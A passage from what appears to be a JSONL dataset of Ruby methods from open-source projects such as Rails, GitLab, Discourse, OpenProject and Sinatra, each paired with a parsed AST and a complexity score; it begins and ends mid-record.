\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"lvar\",\"children\":[\"domain\"]}]}]}]}]},\"count\"]}]}]}","id":"4d36f5bd-02fe-4c65-947b-40ef7c356678"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/hidden_profile_serializer.rb","start_line":10,"raw_source":"def can_send_private_message_to_user\n    scope.can_send_private_message?(object)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_send_private_message_to_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"can_send_private_message?\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"0c395ad9-68aa-4bfd-9701-90a2699709d7"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/number_helper_test.rb","start_line":285,"raw_source":"def test_number_number_to_human_size_with_negative_number\n        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|\n          assert_equal \"-1 Bytes\",   number_helper.number_to_human_size(-1)\n          assert_equal \"-3 Bytes\",   number_helper.number_to_human_size(-3.14159265)\n          assert_equal \"-123 Bytes\", number_helper.number_to_human_size(-123)\n          assert_equal \"-12.1 KB\",   number_helper.number_to_human_size(-12345)\n          assert_equal \"-444 KB\",    number_helper.number_to_human_size(kilobytes(-444))\n          assert_equal \"-1.12 TB\",   number_helper.number_to_human_size(-1234567890123)\n          assert_equal \"-1.01 KB\",   number_helper.number_to_human_size(kilobytes(-1.0100), precision: 4)\n        end\n      end","complexity_score":26.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_number_to_human_size_with_negative_number\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_with_helpers\"]},{\"type\":\"const\",\"children\":[null,\"TestClassWithClassNumberHelpers\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number_helper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-1 Bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"int\",\"children\":[-1]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-3 Bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"float\",\"children\":[-3.14159265]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-123 Bytes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"int\",\"children\":[-123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-12.1 KB\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"int\",\"children\":[-12345]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-444 KB\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"kilobytes\",{\"type\":\"int\",\"children\":[-444]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-1.12 TB\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"int\",\"children\":[-1234567890123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-1.01 KB\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human_size\",{\"type\":\"send\",\"children\":[null,\"kilobytes\",{\"type\":\"float\",\"children\":[-1.01]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}]}","id":"e792e81a-9f9f-4a69-a579-1653e41ec36a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/linear.rb","start_line":138,"raw_source":"def validate_label_ids(label_ids)\n    return if label_ids.nil?\n    return if label_ids.is_a?(Array) && label_ids.all?(String)\n\n    raise ArgumentError, 'label_ids must be an array of strings.'\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_label_ids\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_ids\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_ids\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label_ids\"]},\"all?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"label_ids must be an array of strings.\"]}]}]}]}","id":"7686550c-c49c-4edc-9fa1-c9a64cebbdc1"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/request_forgery_protection.rb","start_line":357,"raw_source":"def store(request, csrf_token)\n        request.cookie_jar.encrypted.permanent[@cookie_name] = {\n          value: {\n            token: csrf_token,\n            session_id: request.session.id,\n          }.to_json,\n          httponly: true,\n          same_site: :lax,\n        }\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"csrf_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"cookie_jar\"]},\"encrypted\"]},\"permanent\"]},\"[]=\",{\"type\":\"ivar\",\"children\":[\"@cookie_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"session_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"session\"]},\"id\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"httponly\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"same_site\"]},{\"type\":\"sym\",\"children\":[\"lax\"]}]}]}]}]}","id":"aac2a4b6-434c-4a78-aebf-08a458c9d340"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/container_registry/client_spec.rb","start_line":522,"raw_source":"def stub_registry_tags_list(query_params: {}, status: 200, tags: ['test_tag'])\n    url = \"#{registry_api_url}/v2/#{path}/tags/list\"\n\n    unless query_params.empty?\n      url += \"?\"\n      url += query_params.map { |k, v| \"#{k}=#{v}\" }.join(',')\n    end\n\n    stub_request(:get, url)\n      .with(headers: { 'Accept' => ContainerRegistry::Client::ACCEPTED_TYPES.join(', ') })\n      .to_return(\n        status: status,\n        body: Gitlab::Json.dump(tags: tags),\n        headers: { 'Content-Type' => 'application/json' })\n  end","complexity_score":20.85,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_registry_tags_list\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"query_params\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"status\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"kwoptarg\",\"children\":[\"tags\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"test_tag\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_api_url\"]}]},{\"type\":\"str\",\"children\":[\"/v2/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"path\"]}]},{\"type\":\"str\",\"children\":[\"/tags/list\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"empty?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\"]},\"+\",{\"type\":\"str\",\"children\":[\"?\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_params\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ContainerRegistry\"]},\"Client\"]},\"ACCEPTED_TYPES\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Json\"]},\"dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"lvar\",\"children\":[\"tags\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]}]}","id":"a763b251-3242-41c1-8a63-789d6349fd9b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/admin/settings/enumerations_controller_base.rb","start_line":134,"raw_source":"def find_enumeration\n        @enumeration = enumeration_class.find(params[:id])\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find_enumeration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@enumeration\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enumeration_class\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"5bf1fc84-04f9-450b-a90c-58416b07fdac"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/projects/pipelines_controller_spec.rb","start_line":127,"raw_source":"def request_build_stage(params = {})\n      get stage_namespace_project_pipeline_path(\n        params.merge(\n          namespace_id: project.namespace.to_param,\n          project_id: project.to_param,\n          id: pipeline.id,\n          stage: 'build',\n          format: :json\n        )\n      )\n    end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"request_build_stage\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"stage_namespace_project_pipeline_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pipeline\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage\"]},{\"type\":\"str\",\"children\":[\"build\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"json\"]}]}]}]}]}]}]}","id":"39ee27f3-371d-4ad4-9f57-61a0808d4db6"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/workers/notifications/group_member_altered_job.rb","start_line":59,"raw_source":"def each_member(members_ids, &)\n    Member\n      .where(id: members_ids)\n      .each(&)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"each_member\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"members_ids\"]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"members_ids\"]}]}]}]},\"each\",{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"4c71a05a-fc42-4dde-808c-57b01d4cc28d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240507162033_add_trigram_index_on_email_for_users.rb","start_line":18,"raw_source":"def down\n    return if Gitlab.com_except_jh?\n\n    remove_concurrent_index_by_name :users, INDEX_NAME\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com_except_jh?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"const\",\"children\":[null,\"INDEX_NAME\"]}]}]}]}","id":"963ea6ef-9a1b-4611-a3ca-d60522c23346"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/lib/rack/protection.rb","start_line":27,"raw_source":"def self.new(app, options = {})\n      except = Array options[:except]\n      use_these = Array options[:use]\n\n      if options.fetch(:without_session, false)\n        except += %i[remote_token]\n      end\n\n      Rack::Builder.new do\n        # Off by default, unless added\n        use ::Rack::Protection::AuthenticityToken,     options if use_these.include? :authenticity_token\n        use ::Rack::Protection::ContentSecurityPolicy, options if use_these.include? :content_security_policy\n        use ::Rack::Protection::CookieTossing,         options if use_these.include? :cookie_tossing\n        use ::Rack::Protection::EscapedParams,         options if use_these.include? :escaped_params\n        use ::Rack::Protection::FormToken,             options if use_these.include? :form_token\n        use ::Rack::Protection::ReferrerPolicy,        options if use_these.include? :referrer_policy\n        use ::Rack::Protection::RemoteReferrer,        options if use_these.include? :remote_referrer\n        use ::Rack::Protection::SessionHijacking,      options if use_these.include? :session_hijacking\n        use ::Rack::Protection::StrictTransport,       options if use_these.include? :strict_transport\n\n        # On by default, unless skipped\n        use ::Rack::Protection::FrameOptions,          options unless except.include? :frame_options\n        use ::Rack::Protection::HttpOrigin,            options unless except.include? :http_origin\n        use ::Rack::Protection::IPSpoofing,            options unless except.include? :ip_spoofing\n        use ::Rack::Protection::JsonCsrf,              options unless except.include? :json_csrf\n        use ::Rack::Protection::PathTraversal,         options unless except.include? :path_traversal\n        use ::Rack::Protection::RemoteToken,           options unless except.include? :remote_token\n        use ::Rack::Protection::XSSHeader,             options unless except.include? :xss_header\n        run app\n      end.to_app\n    end","complexity_score":85.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"except\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"except\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"use_these\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"use\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"without_session\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"except\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"remote_token\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Builder\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"authenticity_token\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"AuthenticityToken\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"content_security_policy\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"ContentSecurityPolicy\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"cookie_tossing\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"CookieTossing\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"escaped_params\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"EscapedParams\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"form_token\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"FormToken\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"referrer_policy\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"ReferrerPolicy\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"remote_referrer\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"RemoteReferrer\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"session_hijacking\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"SessionHijacking\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"use_these\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"strict_transport\"]}]},{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"StrictTransport\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"frame_options\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"FrameOptions\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"http_origin\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"HttpOrigin\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"ip_spoofing\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"IPSpoofing\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"json_csrf\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"JsonCsrf\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"path_traversal\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"PathTraversal\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"remote_token\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"RemoteToken\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"except\"]},\"include?\",{\"type\":\"sym\",\"children\":[\"xss_header\"]}]},null,{\"type\":\"send\",\"children\":[null,\"use\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rack\"]},\"Protection\"]},\"XSSHeader\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run\",{\"type\":\"lvar\",\"children\":[\"app\"]}]}]}]},\"to_app\"]}]}]}","id":"e1bfd0f5-48be-479e-9170-8e3ba7f6c0b1"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/timelines/timeline_row.rb","start_line":110,"raw_source":"def drag_and_drop(offset_days: 0, days: 1)\n        wait_until_hoverable\n        scrollToLeft\n        offset_x_start = offset_days * 30\n        start_dragging(container, offset_x: offset_x_start)\n        offset_x = ((days - 1) * 30) + offset_x_start\n        drag_element_to(container, offset_x:)\n        drag_release\n      end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"drag_and_drop\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"offset_days\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"days\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_until_hoverable\"]},{\"type\":\"send\",\"children\":[null,\"scrollToLeft\"]},{\"type\":\"lvasgn\",\"children\":[\"offset_x_start\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset_days\"]},\"*\",{\"type\":\"int\",\"children\":[30]}]}]},{\"type\":\"send\",\"children\":[null,\"start_dragging\",{\"type\":\"send\",\"children\":[null,\"container\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"offset_x\"]},{\"type\":\"lvar\",\"children\":[\"offset_x_start\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset_x\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days\"]},\"-\",{\"type\":\"int\",\"children\":[1]